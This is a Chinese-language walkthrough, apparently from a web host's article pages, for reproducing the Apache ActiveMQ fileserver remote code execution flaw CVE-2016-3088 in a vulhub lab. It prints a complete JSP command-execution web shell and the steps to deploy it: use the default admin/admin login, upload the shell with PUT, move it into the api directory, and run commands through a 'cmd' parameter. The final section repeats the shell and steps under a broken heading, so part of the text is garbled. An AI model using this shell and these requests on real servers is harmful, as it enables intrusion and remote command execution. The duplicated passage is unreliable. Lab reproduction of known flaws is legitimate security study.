您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關怎樣進行Apache ActiveMQ遠程代碼執(zhí)行漏洞CVE-2016-3088的復現(xiàn),文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
0x00 背景簡述
ActiveMQ 是 Apache 軟件基金會下的一個開源消息驅(qū)動中間件軟件。Jetty 是一個開源的 servlet 容器,它為基于 Java 的 web 容器,例如 JSP 和 servlet 提供運行環(huán)境。ActiveMQ 5.0 及以后版本默認集成了jetty。在啟動后提供一個監(jiān)控 ActiveMQ 的 Web 應用。
2016年4月14日,國外安全研究人員 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多個安全漏洞,可使遠程攻擊者用惡意代碼替代Web應用,在受影響系統(tǒng)上執(zhí)行遠程代碼(CVE-2016-3088)。
ActiveMQ的web控制臺分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是接口,fileserver是儲存文件的接口;admin和api都需要登錄后才能使用,fileserver無需登錄。
fileserver是一個RESTful API接口,我們可以通過GET、PUT、DELETE等HTTP請求對其中存儲的文件進行讀寫操作,其設計目的是為了彌補消息隊列操作不能傳輸、存儲二進制文件的缺陷,但后來發(fā)現(xiàn):
1. 其使用率并不高
2. 文件操作容易出現(xiàn)漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已經(jīng)默認關閉了fileserver這個應用(你可以在conf/jetty.xml中開啟之);在5.14.0版本以后,徹底刪除了fileserver應用。
在測試過程中,可以關注ActiveMQ的版本,避免走彎路。
0x01 漏洞環(huán)境
環(huán)境搭建:https://vulhub.org/#/docs/
# 切換到相應環(huán)境目錄 cd /root/vulhub-master/activemq/CVE-2016-3088 # 開啟 docker-compose up -d # 查看 docker-compose ps
0x02 漏洞復現(xiàn)
直接寫 shell
寫 shell 的話,需要寫在 admin 或者 api 中,也就是需要登錄,沒有密碼的話完成不了寫 shell 操作。
該環(huán)境默認的口令為 admin/admin。
訪問 http://ip:8161/admin/test/systemProperties.jsp
獲得當前系統(tǒng)的路徑
上傳 jsp 小馬,返回204,但是在 fileserver 路徑下不解析
# 小馬 <%@ page import="java.io.*" %> <% try { String cmd = request.getParameter("cmd"); Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); int c; while ((c = in.read()) != -1) { out.print((char)c); } in.close(); try { child.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } catch (IOException e) { System.err.println(e); } %>
用bp抓包,PUT小馬
成功的話,返回 204 No Content,然后在瀏覽器查看
然后MOVE移動到 api 目錄下,成功的話,返回 204 No Content
直接訪問http://ip:8161/api/1.jsp?cmd=ls
證明拿到shell
0x 路徑下不解析
# 小馬 <%@ page import="java.io.*" %> <% try { String cmd = request.getParameter("cmd"); Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); int c; while ((c = in.read()) != -1) { out.print((char)c); } in.close(); try { child.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } catch (IOException e) { System.err.println(e); } %>
用bp抓包,PUT小馬
成功的話,返回 204 No Content,然后在瀏覽器查看
然后MOVE移動到 api 目錄下,成功的話,返回 204 No Content
直接訪問http://ip:8161/api/1.jsp?cmd=ls
證明拿到shell
關于怎樣進行Apache ActiveMQ遠程代碼執(zhí)行漏洞CVE-2016-3088的復現(xiàn)就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內(nèi)容。